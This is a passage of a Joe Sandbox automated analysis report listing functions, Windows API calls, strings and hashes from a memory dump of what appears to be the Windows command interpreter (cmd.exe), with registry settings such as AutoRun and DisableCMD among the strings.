RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF64B574E35), ref: 00007FF64B5755DA
RegQueryValueExW.KERNELBASE ref: 00007FF64B575623
RegQueryValueExW.KERNELBASE ref: 00007FF64B575667
RegQueryValueExW.KERNELBASE ref: 00007FF64B5756BE
RegQueryValueExW.KERNELBASE ref: 00007FF64B575702
RegQueryValueExW.KERNELBASE ref: 00007FF64B575759
RegQueryValueExW.KERNELBASE ref: 00007FF64B5757CF
RegQueryValueExW.KERNELBASE ref: 00007FF64B575862
RegCloseKey.KERNELBASE ref: 00007FF64B57587B
time.MSVCRT ref: 00007FF64B575896
srand.MSVCRT ref: 00007FF64B5758A5

Strings

PathCompletionChar, xrefs: 00007FF64B5757C8
DefaultColor, xrefs: 00007FF64B5756FB
AutoRun, xrefs: 00007FF64B57585B
CompletionChar, xrefs: 00007FF64B575752
DisableUNCCheck, xrefs: 00007FF64B575614
DelayedExpansion, xrefs: 00007FF64B5756B7
EnableExtensions, xrefs: 00007FF64B575660
Software\Microsoft\Command Processor, xrefs: 00007FF64B5755D3

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
API String ID: 145004033-3846321370
Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction ID: b35f8e5d41a979be47100b425b46377644e029050b8589c824a39071be1b0cea
Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction Fuzzy Hash: C0E16B7262DA82C6E664BF10F4405BAF7A0FB8D745F409135EA9E82A79DFBCD544CB00

Function 00007FF64B5737D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269
registrythreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B57380B
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B573821
HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B573845
RegOpenKeyExW.KERNELBASE ref: 00007FF64B573875
GetConsoleOutputCP.KERNELBASE ref: 00007FF64B5738BF
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5738DD
memset.MSVCRT ref: 00007FF64B573909
_setjmp.MSVCRT ref: 00007FF64B573952
GetConsoleOutputCP.KERNELBASE ref: 00007FF64B57398B
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5739A2
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B57EA1F
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B57EA2F

Part of subcall function 00007FF64B575920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF64B57B71F), ref: 00007FF64B575997
Part of subcall function 00007FF64B575920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF64B57B71F), ref: 00007FF64B5759C5

GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B57EA41

Strings

DisableCMD, xrefs: 00007FF64B57EA18
Software\Policies\Microsoft\Windows\System, xrefs: 00007FF64B573867

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
API String ID: 2624720099-1920437939
Opcode ID: f14ccfe17658d03b7f0c6aedd8572f1845147b0a0877a5eeff18d3955b8dfa43
Instruction ID: 4e5c7b20361afcc95732d1d7fdfbba1c1994017da61cfc3b618c05ad45af3e82
Opcode Fuzzy Hash: f14ccfe17658d03b7f0c6aedd8572f1845147b0a0877a5eeff18d3955b8dfa43
Instruction Fuzzy Hash: 34C18971B0C642CAF718BF64E4442B8FAA5EF4D754F148138DA2ED66B3DEBCA4418B00

Function 00007FF64B572978 Relevance: 9.1, APIs: 6, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction ID: e15933c34eedb63348197d36623cb427ab5788f76587144726410b0c8c809c5e
Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction Fuzzy Hash: 02510861B0C682C6EA34BF15E5442BAE291FB59BA0F588230DE7D876F2DF7CE4418600

Function 00007FF64B567D30 Relevance: 3.3, APIs: 2, Instructions: 252COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B567DA1

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

Part of subcall function 00007FF64B57417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5741AD

Part of subcall function 00007FF64B56D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D46E
Part of subcall function 00007FF64B56D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D485
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D4EE
Part of subcall function 00007FF64B56D3F0: iswspace.MSVCRT ref: 00007FF64B56D54D
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D569
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D58C

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B567EB7

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$Heapmemset$AllocCurrentDirectoryProcessiswspace
String ID:
API String ID: 168394030-0
Opcode ID: b5165ffa2db6ef7b8d8da3c0ab750a736ff1024e17944bcf39a6df9fca352c0d
Instruction ID: 37d23bb1ee9afc14ebb7101d34014a149fd39b34cb5805263577405a6b6f32ea
Opcode Fuzzy Hash: b5165ffa2db6ef7b8d8da3c0ab750a736ff1024e17944bcf39a6df9fca352c0d
Instruction Fuzzy Hash: E9A1C421B0C64285FB69BF26D4502B9A3A1BF8C784F449135DE2EC7AF6DF7CA9458700

Function 00007FF64B56CD90 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDA6
RtlAllocateHeap.NTDLL(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDBD

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction ID: 488b87ff52c47a56c4fed9b24cfaf6cb0d0e2be0b037e6c687a91461fb11cfd0
Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction Fuzzy Hash: 6AF06932A1C642C2EA48BF05F840078FBB0FB8DB01B589035DA6E833B6CF3CA545CA00

Function 00007FF64B574D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574D9A

Part of subcall function 00007FF64B5758E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF64B58C6DB), ref: 00007FF64B5758EF

SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574DBB
_get_osfhandle.MSVCRT ref: 00007FF64B574DCA
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574DE0
_get_osfhandle.MSVCRT ref: 00007FF64B574DEE
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574E04

Part of subcall function 00007FF64B570580: _get_osfhandle.MSVCRT ref: 00007FF64B570589
Part of subcall function 00007FF64B570580: SetConsoleMode.KERNELBASE ref: 00007FF64B57059E
Part of subcall function 00007FF64B570580: _get_osfhandle.MSVCRT ref: 00007FF64B5705AF
Part of subcall function 00007FF64B570580: GetConsoleMode.KERNELBASE ref: 00007FF64B5705C5
Part of subcall function 00007FF64B570580: _get_osfhandle.MSVCRT ref: 00007FF64B5705EF
Part of subcall function 00007FF64B570580: GetConsoleMode.KERNELBASE ref: 00007FF64B570605
Part of subcall function 00007FF64B570580: _get_osfhandle.MSVCRT ref: 00007FF64B570632
Part of subcall function 00007FF64B570580: SetConsoleMode.KERNELBASE ref: 00007FF64B570647

Part of subcall function 00007FF64B574A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A28
Part of subcall function 00007FF64B574A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A66
Part of subcall function 00007FF64B574A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A7D
Part of subcall function 00007FF64B574A14: memmove.MSVCRT(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A9A
Part of subcall function 00007FF64B574A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574AA2

Part of subcall function 00007FF64B574AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B568798), ref: 00007FF64B574AD6
Part of subcall function 00007FF64B574AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B568798), ref: 00007FF64B574AEF

Part of subcall function 00007FF64B575554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF64B574E35), ref: 00007FF64B5755DA
Part of subcall function 00007FF64B575554: RegQueryValueExW.KERNELBASE ref: 00007FF64B575623
Part of subcall function 00007FF64B575554: RegQueryValueExW.KERNELBASE ref: 00007FF64B575667
Part of subcall function 00007FF64B575554: RegQueryValueExW.KERNELBASE ref: 00007FF64B5756BE
Part of subcall function 00007FF64B575554: RegQueryValueExW.KERNELBASE ref: 00007FF64B575702

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574E35
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574E81
GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574F69
GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574F95
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574FB0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574FC1
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574FD8
GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B574FF8
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B575037
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B57504B
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B5750DF
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B5750F2
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B57510F
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B575130
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B57514A
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF64B575175

Part of subcall function 00007FF64B573578: _get_osfhandle.MSVCRT ref: 00007FF64B573584
Part of subcall function 00007FF64B573578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B57359C
Part of subcall function 00007FF64B573578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735C3
Part of subcall function 00007FF64B573578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735D9
Part of subcall function 00007FF64B573578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735ED
Part of subcall function 00007FF64B573578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B573602

Strings

SetConsoleInputExeNameW, xrefs: 00007FF64B575143
KERNEL32.DLL, xrefs: 00007FF64B5750EB
IsDebuggerPresent, xrefs: 00007FF64B575122
CopyFileExW, xrefs: 00007FF64B575108

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 1049357271-3021193919
Opcode ID: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
Instruction ID: 8899bd9489f2bc89799711f04e5cb299e1fe4f576a29081c7df505ebb3f4d256
Opcode Fuzzy Hash: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
Instruction Fuzzy Hash: 64C14761A0CA42C6EA0CBF11F8142B9E7A1FF8DB91F449135D92E837B3DF7CA5458640

Function 00007FF64B573C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B573D0C
towupper.MSVCRT ref: 00007FF64B573D2F
iswalpha.MSVCRT ref: 00007FF64B573D4F
towupper.MSVCRT ref: 00007FF64B573D75
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B573DBF
GetFileAttributesW.KERNELBASE ref: 00007FF64B573E7E
GetFileAttributesW.KERNELBASE ref: 00007FF64B573EE9
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B573F32
_local_unwind.MSVCRT ref: 00007FF64B574062
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B574067
_local_unwind.MSVCRT ref: 00007FF64B574098
_local_unwind.MSVCRT ref: 00007FF64B5740B3
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B5740B8
_local_unwind.MSVCRT ref: 00007FF64B5740DE
_local_unwind.MSVCRT ref: 00007FF64B5740F9
_local_unwind.MSVCRT ref: 00007FF64B574114

Strings

:, xrefs: 00007FF64B573D89

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
String ID: :
API String ID: 1809961153-336475711
Opcode ID: ba32b8838d86428b32df37d2d44875712fc0c8ae3247368b5d273864595a39ba
Instruction ID: 02470bff9ceec18ea08585efdc929fcdc262a4578189b0ff1dd757016a6632c2
Opcode Fuzzy Hash: ba32b8838d86428b32df37d2d44875712fc0c8ae3247368b5d273864595a39ba
Instruction Fuzzy Hash: B4D15E6270CB8592EA28BF15E4442B9F7A1FB8C750F448135DA6E836B6EF7CE545CB00

Function 00007FF64B572394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF64B5723F1

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B572438

Part of subcall function 00007FF64B57081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B57084E

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B5724DD
wcschr.MSVCRT ref: 00007FF64B57E12A
_wcsupr.MSVCRT ref: 00007FF64B57E146

Strings

KEYS, xrefs: 00007FF64B572498
COMSPEC, xrefs: 00007FF64B572483, 00007FF64B57E28B
$P$G, xrefs: 00007FF64B572516
PATH, xrefs: 00007FF64B572444, 00007FF64B57E0E2
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF64B57E0F4
PROMPT, xrefs: 00007FF64B57246E, 00007FF64B57251D
\CMD.EXE, xrefs: 00007FF64B57E22A
PATHEXT, xrefs: 00007FF64B572459, 00007FF64B57E0FB

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 2622545777-4197029667
Opcode ID: 2b85e5479cd390d5377cb4198706a5dfd2306e24395425d55588407f45c83467
Instruction ID: dc8f7e8429f7f48f09cc7281b1b36593ac070dc6b945cad401a459c42c8ef269
Opcode Fuzzy Hash: 2b85e5479cd390d5377cb4198706a5dfd2306e24395425d55588407f45c83467
Instruction Fuzzy Hash: 51913A61B1DB8286EE29BF54D8542B8E3A5FF4CB84F448535C92E876B6DF7CE5058300

Function 00007FF64B570580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B570589
SetConsoleMode.KERNELBASE ref: 00007FF64B57059E
_get_osfhandle.MSVCRT ref: 00007FF64B5705AF
GetConsoleMode.KERNELBASE ref: 00007FF64B5705C5
_get_osfhandle.MSVCRT ref: 00007FF64B5705EF
GetConsoleMode.KERNELBASE ref: 00007FF64B570605
_get_osfhandle.MSVCRT ref: 00007FF64B570632
SetConsoleMode.KERNELBASE ref: 00007FF64B570647
_get_osfhandle.MSVCRT ref: 00007FF64B570684
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B570699
_get_osfhandle.MSVCRT ref: 00007FF64B57D891
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B57D8A6

Strings

CMD.EXE, xrefs: 00007FF64B57065F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
Instruction ID: 606205e2252657038db90394d01fd250740928c6a89ded98c32441e272369f6c
Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
Instruction Fuzzy Hash: 5B41AF75A0DA02CBE61CBF14E855278BAA0BF8E755F489135C92EC23B2DF7CA415CA10

Function 00007FF64B56C620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleTitleW.KERNELBASE ref: 00007FF64B56C65E
wcschr.MSVCRT ref: 00007FF64B56C792

Strings

:, xrefs: 00007FF64B56C9E2
/, xrefs: 00007FF64B56CA1B

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ConsoleTitlewcschr
String ID: /$:
API String ID: 2364928044-4222935259
Opcode ID: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
